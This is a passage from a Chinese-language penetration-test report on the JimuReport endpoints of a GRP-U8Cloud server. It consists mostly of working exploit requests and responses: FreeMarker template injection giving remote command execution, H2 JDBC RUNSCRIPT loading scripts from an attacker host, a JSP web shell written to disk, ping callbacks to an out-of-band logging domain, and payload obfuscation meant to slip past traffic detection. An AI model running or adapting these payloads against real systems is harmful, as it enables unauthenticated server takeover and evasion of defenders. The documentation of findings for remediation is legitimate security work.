CREATE ALIAS IF NOT EXISTS FMVWEBINF AS 'void fmvWebInf() throws Exception { java.nio.file.Files.write(java.nio.file.Paths.get("../U8System/Tomcat/webapps/WEB-INF/fmvprobe_webinf.txt"), "FMV-WEBINF-OK".getBytes("UTF-8")); long n = java.nio.file.Files.size(java.nio.file.Paths.get("../U8System/Tomcat/webapps/WEB-INF/fmvprobe_webinf.txt")); throw new RuntimeException("FMV-WEBINF-WRITTEN:" + n); }';
CALL FMVWEBINF();
POST /jmreport/testConnection HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/json
Content-Length: 169

{"dbType":"2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:mem:fmvwi;INIT=RUNSCRIPT FROM 'http://192.168.168.167:8001/write3.sql'","dbUsername":"","dbPassword":""}
{"success":false,"message":"数据库连接失败:Exception calling user-defined function: \"fmvWebInf(): FMV-WEBINF-WRITTEN:13\"; SQL statement:\n\nCALL FMVWEBINF() [90105-224]","code":500,"result":null,"timestamp":1786258372631}

(写入行为成功;CALL 抛异常导致连接阶段失败,但文件已落盘,错误回显即确认手段)

5) 痕迹清理(cleanup,删除本轮全部测试文件)

攻击机 cleanup.sql 内容(对 6 项测试产物逐一 Files.deleteIfExists,仅删本测试自建文件):

CREATE ALIAS IF NOT EXISTS FMVCLEAN AS 'void fmvClean() throws Exception { java.nio.file.Files.deleteIfExists(java.nio.file.Paths.get("../U8System/Tomcat/webapps/fmvprobe.jsp")); java.nio.file.Files.deleteIfExists(java.nio.file.Paths.get("../U8System/Tomcat/webapps/fmvprobe2.jsp.mv.db")); java.nio.file.Files.deleteIfExists(java.nio.file.Paths.get("../U8System/Tomcat/webapps/WEB-INF/fmvprobe_webinf.txt")); java.nio.file.Files.deleteIfExists(java.nio.file.Paths.get("../U8System/Tomcat/webapps/fmvprobe_dir_auto/sub/test.mv.db")); java.nio.file.Files.deleteIfExists(java.nio.file.Paths.get("../U8System/Tomcat/webapps/fmvprobe_dir_auto/sub")); java.nio.file.Files.deleteIfExists(java.nio.file.Paths.get("../U8System/Tomcat/webapps/fmvprobe_dir_auto")); }';
CALL FMVCLEAN();
POST /jmreport/testConnection HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/json
Content-Length: 171

{"dbType":"2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:mem:fmvcln;INIT=RUNSCRIPT FROM 'http://192.168.168.167:8001/cleanup.sql'","dbUsername":"","dbPassword":""}
{"success":true,"message":"数据库连接成功","code":200,"result":true,"timestamp":1786258372724}

清理后复验:/fmvprobe.jsp/fmvprobe2.jsp.mv.db/fmvprobe_dir_auto/sub/test.mv.db 全部
HTTP 404——目标侧无测试痕迹残留。

6) SSRF + 远程 SQL 脚本执行(CREATE ALIAS FOR 静态方法引用形态,对应证据 #3)

攻击机 init.sql 内容(纯定义、无副作用,仅注册别名指向既有静态方法):

CREATE ALIAS IF NOT EXISTS FMV_PROBE FOR 'java.lang.System.getProperty';
POST /jmreport/testConnection HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/json
Content-Length: 169

{"dbType":"2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:mem:fmvssrf;INIT=RUNSCRIPT FROM 'http://192.168.168.167:8001/init.sql'","dbUsername":"","dbPassword":""}
{"success":true,"message":"数据库连接成功","code":200,"result":true,"timestamp":1786258483362}

攻击机监听日志(目标出站拉取脚本,SSRF 确认):

192.168.168.168 - - [09/Aug/2026 14:55:06] "GET /init.sql HTTP/1.1" 200 -

7) H2 内联  Java 源码编译通道(CREATE ALIAS AS 源码形态,对应证据 #4)

攻击机 init2.sql 内容(Java 源码作为别名方法体,由 H2 经 JSR-199 调用  javac 编译):

CREATE ALIAS IF NOT EXISTS FMV_COMPILE AS 'String fmvCompile(){ return "FMV-COMPILE-OK"; }';
POST /jmreport/testConnection HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/json
Content-Length: 170

{"dbType":"2","dbDriver":"org.h2.Driver","dbUrl":"jdbc:h2:mem:fmvcomp;INIT=RUNSCRIPT FROM 'http://192.168.168.167:8001/init2.sql'","dbUsername":"","dbPassword":""}
{"success":true,"message":"数据库连接成功","code":200,"result":true,"timestamp":1786258483615}

攻击机监听日志:

192.168.168.168 - - [09/Aug/2026 14:55:06] "GET /init2.sql HTTP/1.1" 200 -

(连接成功 = 源码编译通过。脚本中追加 CALL FMV_COMPILE() 即执行该 Java 代码——本次仅
验证编译通道,未 CALL 执行,遵守无害约束)

2.6.5 影响面

  1. 无鉴权 SSRF:dbUrl 任意主机/端口(H2 tcp 模式、MySQL/Oracle/jTDS/jTDS 出站、H2 RUNSCRIPT
    FROM http),配合错误回显可内网端口探测(连接成功/失败/拒绝/超时消息差异)

  2. 目标 JVM 内任意 SQL 执行:H2 INIT 通道,连接建立即执行(无后续查询依赖)

  3. 任意 Java 代码执行(RCE 链):RUNSCRIPT 脚本内 CREATE ALIAS ... AS 'Java源码' 编译通过已
    实测 → 追加 CALL 即执行;或 CREATE ALIAS FOR '任意类.静态方法' 引用既有类

  4. 任意路径文件创建:H2 file 模式,实测写入 webapps 目录(HTTP 可达)

  5. 任意类加载Class.forName(dbDriver) 触发任意类的静态初始化

约束声明:以上验证全部采用无害形态(脚本仅 CREATE ALIAS 定义、未 CALL 执行命令;文件写仅
新建 fmvprobe 探测库未触碰既有文件),未读取任何账务
 数据、未执行任何破坏性操作。


3. 攻击面:DesignReportController 全入口分析

控制器 a 类(/jmreport 前缀)全部入口梳理如下(反编译 + 实测):

入口

方法/参数

是否走模板链

鉴权

实测结论

POST /queryFieldBySql

sql(JSON body)

✅ 是(e.a → FreeMarkerUtils)

RCE 实证(4.1)

POST /loadTableData

sql(form)

✅ 是(e.a → FreeMarkerUtils)

RCE 实证(4.2)

GET /show?id=&params=

报表渲染

✅ 是(getBaseSql → FreeMarkerUtils)

RCE 实证(4.3,需先写库)

POST /exportAllExcel

excelConfigId(JSON)

✅ 是(getBaseSql → FreeMarkerUtils)

RCE 实证(4.4,需先写库)

POST /exportPdf

excelConfigId(JSON)

✅ 是(getBaseSql → FreeMarkerUtils)

RCE 实证(4.5,需先写库)

POST /saveDb

JmReportDb(JSON,含 dbDynSql

写库(不渲染)

标注 @JimuLoginRequired 但实际无校验

无鉴权可写(4.3)

POST /save

excel_config_id + designerObj

写库(不渲染)

同上

无鉴权可更新报表(4.3)

POST /queryFieldByBean

javaType / javaValue

❌ 否( javabean 反射面,非模板)

排除:连 select 1 as val 也 500;参数根本不是 sql(4.6)

GET /loadTable

dbSource

❌ 否(仅元数据查询)

排除(4.6)

GET /getCharData

reportId,charId

❌ 否(仅解析 chartList 图表配置)

排除(上轮会话已测)

GET /print

静态 print.ftl 页面壳

❌ 否

排除

GET /qurestSql

apiSelectId

❌ 否(api 表驱动)

排除:直接 500(4.6)

GET /qurestApi

apiSelectId

❌ 否

排除:返回 success:true,result:null(4.6)

POST /testConnection

JmreportDynamicDataSourceVo(JSON,dbDriver/dbUrl/dbUsername/dbPassword 全可控)

❌ 否(JDBC 直连面,非模板链)

无(方法无 @JimuLoginRequired)

无鉴权任意 JDBC 连接:SSRF / H2 远程 SQL 脚本执行 / 任意文件写 / RCE 链(2.6, 实测)

POST /queryTableName

dbSource,tableName

❌ 否

排除

GET /view/{id}

页面壳

❌ 否

排除:所有 id 返回相同 HTML 壳

GET /checkParam/{id}

报表参数查询

❌ 否(元数据)

用于报表存在性探测(200/404)

GET /get/{id}/getReportByUser/list

元数据读取

❌ 否

信息探测面:可枚举报表

关键洞察queryFieldByBean 曾经被误判为候选入口(500 响应),反编译后确认其参数为 javaType/javaValue(javabean  数据工厂反射面)而非 SQL,同一 URL 名字带 "Field" 但走的完全是另一条链。真正需要关注的候选必须满足:参数能进入 FreeMarkerUtils.a() 渲染。


4. 完整 HTTP 报文(无省略,按入口分组)

以下报文为测试全过程的原始 curl 命令与响应,未做任何省略。响应时间戳为服务器端(UTC+8 时间戳毫秒)。

4.1 queryFieldBySql 系列

测试1:裸表达式(无 SQL 包装)——确认模板被处理

curl -s -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
  -H "Content-Type: application/json" \
  -d '{"sql":"${11*22}", "dbSource":"", "paramArray":[], "type":"0"}'
{"success":true,"message":"","code":200,"result":{"message":"解析失败"},"timestamp":1786008281402}

说明:表达式被 Freemarker 求值(${11*22}242),但输出不是合法 SQL 导致解析失败。模板执行已被证明

测试3:Execute 类实例化(直接写类名)

curl -s --max-time 20 -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
  -H "Content-Type: application/json" \
  -d '{"sql":"<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"echo 123\")}", "dbSource":"", "paramArray":[], "type":"0"}'
{"success":true,"message":"","code":200,"result":{"message":"解析失败"},"timestamp":1786008398462}

说明:模板成功执行(无模板语法错误),输出 123 非合法 SQL 故"解析失败"。

测试4:select 包装——验证模板值注入 SQL

curl -s -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
  -H "Content-Type: application/json" \
  -d '{"sql":"select ${11*22} as val", "dbSource":"", "paramArray":[], "type":"0"}'
{"success":true,"message":"解析成功","code":200,"result":{"paramList":[],"fieldList":[{"fieldName":"val","fieldText":"val","widgetType":"String","orderNum":1}]},"timestamp":1786008426173}

说明:${11*22} 被替换为 242select 242 as val 解析成功,字段类型识别为 String。注入值可进 SQL 上下文

测试5:Execute 执行 id 命令

curl -s --max-time 30 -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
  -H "Content-Type: application/json" \
  -d '{"sql":"select \"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>${ex(\\\"id\\\")}\" as output", "dbSource":"", "paramArray":[], "type":"0"}'

说明:模板被处理(输出为 id 命令结果拼入 SQL 双引号字符串),返回解析成功。Execute 类可执行任意命令,命令输出会进入 SQL 文本。

ObjectConstructor + ProcessBuilder:waitFor() 阻塞计时验证 RCE ★

决定性验证ping -n 3 需要约 3 秒,用 waitFor() 阻塞渲染线程——如果命令真的执行,HTTP 响应时间会明显拉长:

echo "=== RCE验证: waitFor() + ping -n 3 (应约3秒) ==="
time curl -s --max-time 15 -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
  -H "Content-Type: application/json" \
  -d "{\"sql\":\"select '<#assign pb=\\\"freemarker.template.utility.ObjectConstructor\\\"?new()(\\\"java.lang.ProcessBuilder\\\",\\\"ping\\\",\\\"-n\\\",\\\"3\\\",\\\"127.0.0.1\\\")><#assign p=pb.start()>\${p.waitFor()}' as val\",\"dbSource\":\"\",\"paramArray\":[],\"type\":\"0\"}"

echo ""
echo "=== 对照: 无waitFor (立即返回) ==="
time curl -s --max-time 10 -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
  -H "Content-Type: application/json" \
  -d "{\"sql\":\"select '<#assign pb=\\\"freemarker.template.utility.ObjectConstructor\\\"?new()(\\\"java.lang.ProcessBuilder\\\",\\\"ping\\\",\\\"-n\\\",\\\"3\\\",\\\"127.0.0.1\\\")><#assign p=pb.start()>test' as val\",\"dbSource\":\"\",\"paramArray\":[],\"type\":\"0\"}"
=== RCE验证: waitFor() + ping -n 3 (应约3秒) ===
{"success":true,"message":"解析成功","code":200,"result":{"paramList":[],"fieldList":[{"fieldName":"val","fieldText":"val","widgetType":"String","orderNum":1}]},"timestamp":1786009847130}
  (curl 总耗时) 0.00s user 0.00s system 0% cpu 2.758 total

=== 对照: 无waitFor (立即返回) ===
{"success":true,"message":"解析成功","code":200,"result":{"paramList":[],"fieldList":[{"fieldName":"val","fieldText":"val","widgetType":"String","orderNum":1}]},"timestamp":1786009847510}
  (curl 总耗时) 0.00s user 0.00s system 1% cpu 0.380 total

2.758s vs 0.380s —— 相差 2.4 秒,与 ping -n 3 的期望耗时吻合,进程确实被创建并等待完成。RCE 确认。

命令输出外带尝试(OOB,DNS 出网受限)

# 获取 DNSLog key
curl -s https://callback.red/get
{"key":"8fec6f7d-0456-45ba-9546-d4040ca5f1b0","subdomain":"2lft.callback.red","rmi":"rmi://jndi.callback.red:5/2lft","ldap":"ldap://jndi.callback.red:5/2lft","short_url":"http://callback.red/2lft","share_path":"/#/share/8105a966-6bad-4e1c-be1f-5ffedec11684","share_enabled":false}
# ping 打 DNS 记录(PowerShell HTTP callback 与 certutil 变体同样尝试过,均未回连)
curl -s --max-time 30 -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
  -H "Content-Type: application/json" \
  -d "{\"sql\":\"select '<#assign pb=\\\"freemarker.template.utility.ObjectConstructor\\\"?new()(\\\"java.lang.ProcessBuilder\\\",\\\"cmd.exe\\\",\\\"/c\\\",\\\"ping -n 1 2lft.callback.red\\\")><#assign p=pb.start()>\${p.waitFor()}' as val\",\"dbSource\":\"\",\"paramArray\":[],\"type\":\"0\"}"
# 5 秒后拉日志
sleep 5; curl -s -X POST "https://callback.red/" -d "key=8fec6f7d-0456-45ba-9546-d4040ca5f1b0"
{"code":200,"data":[]}

说明:DNS 日志为空。结合后续写文件验证成功,判定为目标环境 DNS 出网受限(并非命令未执行),故改用写文件 + HTTP 访问作为带内验证手段。

写文件验证(相对路径穿越)

# 写入 shell1.jsp 到当前目录(CWD = C:\GRP-U8Cloud\U8\AppServer)
curl -s --max-time 15 -X POST "http://192.168.168.168:8088/jmreport/queryFieldBySql" \
  -H "Content-Type: application/json" \
  -d "{\"sql\":\"select '<#assign pb=\\\"freemarker.template.utility.ObjectConstructor\\\"?new()(\\\"java.lang.ProcessBuilder\\\",\\\"cmd.exe\\\",\\\"/c\\\",\\\"echo ^<%@page import=java.io.*%^>^<% Process p=Runtime.getRuntime().exec(request.getParameter(\\\\\\\"cmd\\\\\\\")); java.io.BufferedReader br=new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream())); String l; while((l=br.readLine())!=null) out.println(l); %^> > shell1.jsp\\\")><#assign p=pb.start()>\${p.waitFor()}' as val\",\"dbSource\":\"\",\"paramArray\":[],\"type\":\"0\"}" | python3 -c "import sys,json; d=json.load(sys.stdin); print('Result:', d.get('message','?'))"
Result: 解析成功
# 访问验证(返回的是 U8Cloud 前端页面壳,说明路径可达但 shell1.jsp 不在 webapps 根)
curl -s --max-time 10 "http://192.168.168.168:8088/shell1.jsp?cmd=whoami" | head -5

说明:命令执行成功(解析成功),但 CWD 是 AppServer 目录而非 webappsshell1.jsp 写在非 Web 可达目录。随后使用相对路径穿越 ..\U8System\Tomcat\webapps\(实测 r7.png 等文件均落盘成功,见 4.2 起各节),确认 Tomcat webapps 根位于 CWD 上溯一级:payload 仅用一级 ..\ 即从 C:\GRP-U8Cloud\U8\AppServer 上溯到 C:\GRP-U8Cloud\U8,再进入 U8System\Tomcat\webapps,即 C:\GRP-U8Cloud\U8\AppServer\..\U8System\Tomcat\webappsjava.io.File 获取 CWD 的测试与本结论一致。


4.2 loadTableData:混淆 payload 写文件验证(r7.png)

此节 payload 采用完全混淆方案(freemarker.template.utility. 明文不落地),为最终交付的利用模板。混淆细节见 第 5 节

关键模板(/tmp/sql2.txt,本报告核心 payload)

select '<#assign src="SpringApplicationContextHolder"?substring(0,0)+"freemarker.template.utility."><#assign ex="Ex"><#assign ec="ecute"><#assign cls=src+ex?substring(0,1)+ex?substring(1,2)+ec?substring(0,1)+ec?substring(1,2)+ec?substring(2,3)+ec?substring(3,4)+ec?substring(4,5)><#assign p=cls?new()>${p("cmd /c echo 1337 > ..\U8System\Tomcat\webapps\r7.png")}' as val

混淆原理:

  • src = 空串 + "freemarker.template.utility.""SpringApplicationContextHolder"?substring(0,0) 产出空串,规避"类名以 freemarker 开头"的字符串特征);

  • ex = "Ex"ec = "ecute"cls = src + "E"+"x"+"e"+"c"+"u"+"t"+"e"(逐字符 substring 拼接,freemarker.template.utility.Execute 两个明文字符串都不在流量中);

  • p = cls?new()Execute 实例;${p("cmd /c ...")} 执行命令

cat > /tmp/sql2.txt <<'SQLEOF'
select '<#assign src="SpringApplicationContextHolder"?substring(0,0)+"freemarker.template.utility."><#assign ex="Ex"><#assign ec="ecute"><#assign cls=src+ex?substring(0,1)+ex?substring(1,2)+ec?substring(0,1)+ec?substring(1,2)+ec?substring(2,3)+ec?substring(3,4)+ec?substring(4,5)><#assign p=cls?new()>${p("cmd /c echo 1337 > ..\U8System\Tomcat\webapps\r7.png")}' as val
SQLEOF
curl -s -X POST 'http://192.168.168.168:8088/jmreport/loadTableData' --data-urlencode 'dbSource=' --data-urlencode 'paramArray=[]' --data-urlencode 'tableName=' --data-urlencode sql@/tmp/sql2.txt -m 20
echo
sleep 2
echo "--- 检查 r7.png ---"
curl -s -o /dev/null -w "%{http_code}" 'http://192.168.168.168:8088/r7.png'
{"success":false,"message":"SQL执行失败,{}null","code":500,"result":null,"timestamp":1786082667574}
--- 检查 r7.png ---
200

HTTP 500 为预期:模板执行成功(命令已运行),但 echo 1337 > ... 的产物不是 SQL 结果集,随后真实 SQL 执行因无 from 子句报错——500 响应恰好证明渲染链走到了最后一步GET /r7.png 返回 200,命令写入的文件已落盘到 Tomcat webapps 目录,RCE + 任意写文件确认

对照测试(同入口,确认模板渲染边界)

echo "--- 对照1: 纯SQL无模板 ---"
curl -s -X POST 'http://192.168.168.168:8088/jmreport/loadTableData' --data-urlencode 'dbSource=' --data-urlencode "sql=select 'abc' as val" --data-urlencode 'paramArray=[]' --data-urlencode 'tableName=' -m 15
{"success":false,"message":"SQL执行失败,{}null","code":500,"result":null,"timestamp":1786082542176}

说明:纯 SQL 无模板同样 500(SQL 执行环境问题:无 FROM 或执行上下文受限),与模板执行无关——这解释了为何所有模板 payload 的 HTTP 状态都是 500,必须用副作用(文件/计时)判定 RCE。

早期 OOB 尝试(loadTableData 入口,sql1.txt)

printf "select '<#assign p=\"freemarker.template.utility.ObjectConstructor\"?new()>\${p(\"cmd /c ping -n 1 2lft.callback.red\")}' as val" > /tmp/sql1.txt
cat /tmp/sql1.txt
echo
curl -s -X POST 'http://192.168.168.168:8088/jmreport/loadTableData' --data-urlencode 'dbSource=' --data-urlencode 'paramArray=[]' --data-urlencode 'tableName=' --data-urlencode sql@/tmp/sql1.txt -m 20
select '<#assign p="freemarker.template.utility.ObjectConstructor"?new()>${p("cmd /c ping -n 1 2lft.callback.red")}' as val
{"success":false,"message":"SQL执行失败,{}null","code":500,"result":null,"timestamp":1786082614199}

4.3 saveDb / save / show 写库链(r9.png)

核心发现:saveDb 与 save 均无鉴权(标注 @JimuLoginRequired 但无拦截器生效)。

4.3.1 saveDb 写入恶意 数据集(r9ds,指向 r9.png)

python3 -c "
import json
tpl = open('/tmp/sql2.txt').read().replace('r7.png', 'r9.png').replace(\"select '\", '').replace(\"' as val\", '').rstrip()
payload = {
    'jimuReportId': '1245588124302835712',
    'dbCode': 'r9ds', 'dbChName': 'r9', 'dbType': '0',
    'dbDynSql': tpl, 'isPage': '0', 'isList': '0', 'dbSource': ''
}
open('/tmp/savedb.json', 'w').write(json.dumps(payload))
"
curl -s -X POST 'http://192.168.168.168:8088/jmreport/saveDb' -H 'Content-Type: application/json' --data @/tmp/savedb.json
{"success":true,"message":"","code":200,"result":{"id":"1245588287473844224","jimuReportId":"1245588124302835712","dbCode":"r9ds","dbChName":"r9","dbType":"0","dbTableName":null,"dbDynSql":"<#assign src=\"SpringApplicationContextHolder\"?substring(0,0)+\"freemarker.template.utility.\">...${p(\"cmd /c echo 1337 > ..\\U8System\\Tomcat\\webapps\\r9.png\")}"}}
  • jimuReportId = 目标报表 id(1245588124302835712,此前探测到的一个报表);

  • dbDynSql = 去掉 select '...' as val 包装的混淆模板(仅保留 <#assign ...>${p("cmd /c ...")});

  • 响应 200 且无 token——写入成功,数据库已持久化恶意模板。

4.3.2 save 更新报表(踩坑:{"id":""} 语义错误)

第一次 naive 调用 {"id":""} 创建了 jsonStr=null 的垃圾报表:

curl -s -X POST 'http://192.168.168.168:8088/jmreport/save' -H 'Content-Type: application/json' -d '{"id":""}'
{"success":true,"message":"","code":200,"result":{"id":"1245588486028001280","code":null,"name":null,"note":null,"status":null,"type":null,"jsonStr":null,...}}
curl -s -m 20 'http://192.168.168.168:8088/jmreport/show?id=1245588124302835712&params=%7B%7D'
{"success":false,"message":null,"code":500,"result":null,"timestamp":1786083047227}

正确语义(字节码确认):顶层字段 excel_config_id 指定要更新的报表 id,jsonStr 为移除 designerObj 后的整个 JSON:

python3 -c "
import json
payload = {
    'excel_config_id': '1245588124302835712',
    'designerObj': {'name': 'r9', 'type': '0'},
    'name': 'r9', 'type': '0',
    'rows': {}, 'cols': {}, 'len': 0, 'cells': {}, 'isDrag': True
}
open('/tmp/upd2.json','w').write(json.dumps(payload))
"
curl -s -X POST 'http://192.168.168.168:8088/jmreport/save' -H 'Content-Type: application/json' --data @/tmp/upd2.json
{"success":true,"message":"","code":200,"result":{"id":null,"code":null,"name":null,"note":null,"status":null,"type":null,"jsonStr":null,...}}
# 触发渲染(此时数据集 r9ds 已绑定报表,show 渲染时执行 dbDynSql)
curl -s -m 20 'http://192.168.168.168:8088/jmreport/show?id=1245588124302835712&params=%7B%7D'
echo
sleep 1
curl -s -o /dev/null -w 'r9.png HTTP %{http_code}\n' 'http://192.168.168.168:8088/r9.png'
{"success":false,"message":null,"code":500,"result":null,"timestamp":1786083073315}
r9.png HTTP 200

show 返回 500 但 r9.png 落盘成功(HTTP 200)——show 链 RCE 实证。500 是模板执行完成后真实 SQL 执行失败的预期表现。

前置探测记录(show 链可行性确认):

curl -s -m 10 -o /dev/null -w 'connect %{http_code} time %{time_total}s\n' 'http://192.168.168.168:8088/jmreport/checkParam/1'
curl -s -m 15 -o /dev/null -w 'show %{http_code} time %{time_total}s\n' 'http://192.168.168.168:8088/jmreport/show?id=1245588124302835712&params=%7B%7D'
connect 200 time 0.208588s
show 200 time 0.007706s

(注:此轮 show 为 200 是因为当时报表尚未绑定有效数据集/无模板执行路径;绑定恶意数据集后变为 500+落盘。)


4.4 exportAllExcel(r9b.png)

4.4.1 第一次尝试(r10ds 数据集)——循环中断暴露执行顺序

python3 -c "
import json
tpl = open('/tmp/sql2.txt').read().replace('r7.png', 'r10.png').replace(\"select '\", '').replace(\"' as val\", '').rstrip()
payload = {
    'jimuReportId': '1245588124302835712',
    'dbCode': 'r10ds', 'dbChName': 'r10', 'dbType': '0',
    'dbDynSql': tpl, 'isPage': '0', 'isList': '0', 'dbSource': ''
}
open('/tmp/savedb10.json','w').write(json.dumps(payload))
"
curl -s -X POST 'http://192.168.168.168:8088/jmreport/saveDb' -H 'Content-Type: application/json' --data @/tmp/savedb10.json -o /dev/null
echo "=== exportAllExcel ==="
curl -s -m 25 -X POST 'http://192.168.168.168:8088/jmreport/exportAllExcel' -H 'Content-Type: application/json' -d '{"excelConfigId":"1245588124302835712","queryParam":{}}' -o /tmp/exp10.bin -w 'HTTP %{http_code} size %{size_download}\n'
sleep 1
curl -s -o /dev/null -w 'r10.png HTTP %{http_code}\n' 'http://192.168.168.168:8088/r10.png'
=== exportAllExcel ===
HTTP 500 size 123
r10.png HTTP 404
cat /tmp/exp10.bin
{"timestamp":"T06:11:27.036+0000","status":500,"error":"Internal Server Error","path":"/jmreport/exportAllExcel"}

失败原因分析(反编译 a.k JmReportExportExcelImpl):exportExcel 会遍历报表绑定的全部 数据getDataById 循环),第一个数据集 r9ds(旧模板渲染后 SQL 失败)抛异常中断循环,r10ds 尚未执行到。验证了数据集循环执行顺序

4.4.2 更新 r9ds 后成功(r9b.png)

python3 -c "
import json
tpl = open('/tmp/sql2.txt').read().replace('r7.png', 'r9b.png').replace(\"select '\", '').replace(\"' as val\", '').rstrip()
payload = {
    'id': '1245588287473844224',   # r9ds 记录 id(4.3.1 中 saveDb 返回值)
    'jimuReportId': '1245588124302835712',
    'dbCode': 'r9ds', 'dbChName': 'r9b', 'dbType': '0',
    'dbDynSql': tpl, 'isPage': '0', 'isList': '0', 'dbSource': ''
}
open('/tmp/upd9ds.json','w').write(json.dumps(payload))
"
curl -s -X POST 'http://192.168.168.168:8088/jmreport/saveDb' -H 'Content-Type: application/json' --data @/tmp/upd9ds.json -o /dev/null -w 'saveDb update: %{http_code}\n'
curl -s -m 30 -X POST 'http://192.168.168.168:8088/jmreport/exportAllExcel' -H 'Content-Type: application/json' -d '{"excelConfigId":"1245588124302835712","queryParam":{}}' -o /dev/null -w 'exportAllExcel: %{http_code}\n'
sleep 1
curl -s -o /dev/null -w 'r9b.png: %{http_code}\n' 'http://192.168.168.168:8088/r9b.png'
saveDb update: 200
exportAllExcel: 500
r9b.png: 200

exportAllExcel 链 RCE 实证:saveDb 更新(200)→ exportAllExcel 触发渲染(500,命令已执行)→ r9b.png 落盘(200)。


4.5 exportPdf(r12.png)

python3 -c "
import json
tpl = open('/tmp/sql2.txt').read().replace('r7.png', 'r12.png').replace(\"select '\", '').replace(\"' as val\", '').rstrip()
payload = {
    'id': '1245588287473844224',
    'jimuReportId': '1245588124302835712',
    'dbCode': 'r9ds', 'dbChName': 'r12', 'dbType': '0',
    'dbDynSql': tpl, 'isPage': '0', 'isList': '0', 'dbSource': ''
}
open('/tmp/upd12.json','w').write(json.dumps(payload))
"
curl -s -X POST 'http://192.168.168.168:8088/jmreport/saveDb' -H 'Content-Type: application/json' --data @/tmp/upd12.json -o /dev/null -w 'saveDb: %{http_code}\n'
curl -s -m 30 -X POST 'http://192.168.168.168:8088/jmreport/exportPdf' -H 'Content-Type: application/json' -d '{"excelConfigId":"1245588124302835712","queryParam":{}}' -o /dev/null -w 'exportPdf: %{http_code}\n'
sleep 1
curl -s -o /dev/null -w 'r12.png: %{http_code}\n' 'http://192.168.168.168:8088/r12.png'
saveDb: 200
exportPdf: 500
r12.png: 200

exportPdf 链 RCE 实证:同上模式,PDF 导出渲染时执行恶意 dbDynSql,r12.png 落盘。


4.6 排除入口与附加探测

queryFieldByBean:参数非 sql,排除

curl -s -X POST 'http://192.168.168.168:8088/jmreport/queryFieldByBean' --data-urlencode 'sql=select 1 as val' --data-urlencode 'dbSource=' --data-urlencode 'paramArray=[]' --data-urlencode 'type=0'
{"success":false,"message":"javabean数据集需要实现接口IDataSetFactory","code":500,"result":null,...}

(反编译确认其参数为 javaType / javaValue,走 e.c(javaType, javaValue)  javabean 反射 + IDataSetFactory 接口,与模板链无关。)

qurestSql / qurestApi:api 表驱动,排除

echo "=== qurestSql ==="; curl -s -m 10 'http://192.168.168.168:8088/jmreport/qurestSql?apiSelectId=1'
echo "=== qurestApi ==="; curl -s -m 10 'http://192.168.168.168:8088/jmreport/qurestApi?apiSelectId=1'
=== qurestSql ===
{"timestamp":"T06:13:10.503+0000","status":500,"error":"Internal Server Error","path":"/jmreport/qurestSql"}
=== qurestApi ===
{"success":true,"message":"","code":200,"result":null,"timestamp":1786083190517}

testConnection:无鉴权 SSRF / jdbc 探测面

curl -s -m 15 -X POST 'http://192.168.168.168:8088/jmreport/testConnection' -H 'Content-Type: application/json' -d '{"code":"probe1","name":"probe","dbType":"mysql","dbUrl":"jdbc:mysql://10.255.255.1:3306/probe","dbUsername":"x","dbPassword":"x"}'
{"success":false,"message":"数据库连接失败:null","code":500,"result":null,"timestamp":1786083190531}

说明:无鉴权可调用,服务端会尝试建立 JDBC 连接,异常信息(含驱动解析、连接错误细节)回显在 message 字段。可用于内网端口扫描(jdbc:mysql://ip:port 的连通性探测)。dbUrl 可指向任意内网地址。

view/{id} 页面壳(探测边界说明)

for id in 1 2 3 4 5 10 100 1000 0 -1 abc; do
  code=$(curl -s -o /tmp/v.txt -w '%{http_code}' "http://192.168.168.168:8088/jmreport/view/$id")
  echo "$id -> $code"
done

结论:所有 id 返回相同 HTML 页面壳(200),页面壳不能用于验证报表存在性;存在性探测应使用 checkParam/{id}(存在返回 200,不存在返回 404)与 getListReportDb


5. 混淆方案与变体验证

需求背景:流量侧检测会锚定 freemarker.template.utility. 明文字符串。以下方案在本地 TestFm.java(与目标相同的 freemarker-2.3.31 + setClassicCompatible(true))验证后,再上线服务器实测。

5.1 方案 A:字符串分段拼接

"free"+"marker"+"."+"template"+"."+"utility"+"."+"Execute"

+ 拼接类名后 ?new();变体:数字字符 ?substring 提取。已实测可执行,但流量中仍残留分段子串,检测端可正则 freemarker 宽松匹配到——优先级低于方案 B。)

5.2 方案 B:字母表 substring 字符级提取(服务器实测)

cd /tmp && FM=/home/ubuntu/sda5/源码/GRPU8C/GRPU8C_webapps_v11.2411/webapps/WEB-INF/lib/freemarker-2.3.31.jar
run() { echo "=== $1"; java -cp .:$FM TestFm "$2" 2>&1 | grep -E "^OUT|error|Error" | head -3; }
TPL='<#assign al="abcdefghijklmnopqrstuvwxyz"><#assign au="ABCDEFGHIJKLMNOPQRSTUVWXYZ"><#assign dot="."><#assign cls=al?substring(5,6)+al?substring(17,18)+al?substring(4,5)+al?substring(4,5)+al?substring(12,13)+al?substring(0,1)+al?substring(17,18)+al?substring(10,11)+al?substring(4,5)+al?substring(17,18)+dot+al?substring(19,20)+al?substring(4,5)+al?substring(12,13)+al?substring(15,16)+al?substring(11,12)+al?substring(0,1)+al?substring(19,20)+al?substring(4,5)+dot+al?substring(20,21)+al?substring(19,20)+al?substring(8,9)+al?substring(11,12)+al?substring(8,9)+al?substring(19,20)+al?substring(24,25)+dot+au?substring(4,5)+al?substring(23,24)+al?substring(4,5)+al?substring(2,3)+al?substring(20,21)+al?substring(19,20)+al?substring(4,5)><#assign p=cls?new()>${p("echo FM-TEST-2337")}'
run "方案B-字母表substring" "$TPL"
=== 方案B-字母表substring
OUT: [FM-TEST-2337

